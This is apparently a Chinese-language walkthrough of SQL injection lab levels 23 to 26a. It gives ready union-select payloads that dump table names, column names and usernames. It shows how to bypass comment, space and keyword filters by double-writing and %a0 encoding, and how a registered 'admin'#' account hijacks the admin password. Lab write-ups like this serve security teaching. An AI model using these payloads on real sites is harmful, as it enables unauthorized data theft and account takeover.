23.
判断是注释符被过滤了我们用‘1’=‘1来闭合后面的’
这里不能使用order by来判断列数直接通过union select来判断
-1' union select 1,2,3 and '1'='1
-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security') ,3 and '1'='1
-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),3 and '1'='1
-1'union select 1,(select username from security.users limit 0,1),3 and '1'='1
24.
这里我们发现提供了修改密码的选项,在没有爆破的情况下我们是不知道用户名和密码的
我尝试创建admin用户发现admin用户存在,创建admin'#用户使用admin‘#用户登录
发现可以修改密码
发现已经修改了admin用户的密码
发现其他地方都通过mysql_real_escape_string进行了转意只有在pass_change.php中获取username是通过session来获取的通过admin’#里面的‘#达到闭合的目的
25.
题目显示or和and会被替换掉尝试大写和双写绕过
大写失败通过返回的信息判断是替换为空使用双写绕过
-1' union select 1,2,3 anandd '1'='1
-1' union select 1,database(),3 anandd '1'='1
-1' union select 1,(select group_concat(table_name) from infoorrmation_schema.tables where table_schema='security'),3 anandd '1'='1
information里面有or写成infoorrmation
-1' union select 1,(select group_concat(column_name) from infoorrmation_schema.columns where table_schema='security' anandd table_name='users'),3 anandd '1'='1
-1' union select 1,(select group_concat(username) from security.users ),3 anandd '1'='1
25a.
输入1’和1“页面无回显同时也没报错 报错注入不存在
发现这里不叫‘和”成功
-1 union select 1,database(),3
-1 union select 1,(select group_concat(table_name) from infoorrmation_schema.tables where table_schema='security'),3
-1 union select 1,(select group_concat(column_name) from infoorrmation_schema.columns where table_schema='security' anandd table_name='users'),3
-1 union select 1,(select group_concat(username) from security.users),3
26.
这里显示过滤了空格个注释符
0'union%a0select%a01,database(),3'
%a0过滤符代替空格 0因为-1里面-是运算符
0'union%a0select%a01,(select%a0group_concat(table_name)%a0from%a0infoorrmation_schema.tables%a0where%a0table_schema='security'),3'
0'union%a0select%a01,(select%a0group_concat(column_name)%a0from%a0infoorrmation_schema.columns%a0where%a0table_schema='security'%a0anandd%a0table_name='users'),3'
0'union%a0select%a01,(select%a0group_concat(username)%a0from%a0security.users),3'
26a.
这里在id=1’的时候没有报错信息了不存在报错注入
发现2”是错误的没有闭合尝试)
1')anandd('1成功
1')anandd('0失败
0')union%a0select%a01,database(),3%a0anandd('1
0')union%a0select%a01,(select%a0group_concat(table_name)%a0from%a0infoorrmation_schema.tables%a0where%a0table_schema='security'),3%a0anandd%a0('1
0')union%a0select%a01,(select%a0group_concat(column_name)%a0from%a0infoorrmation_schema.columns%a0where%a0table_schema='security'%a0anandd%a0table_name='users'),3%a0anandd('1
0')union%a0select%a01,(select%a0group_concat(username)%a0from%a0security.users),3%a0anandd('1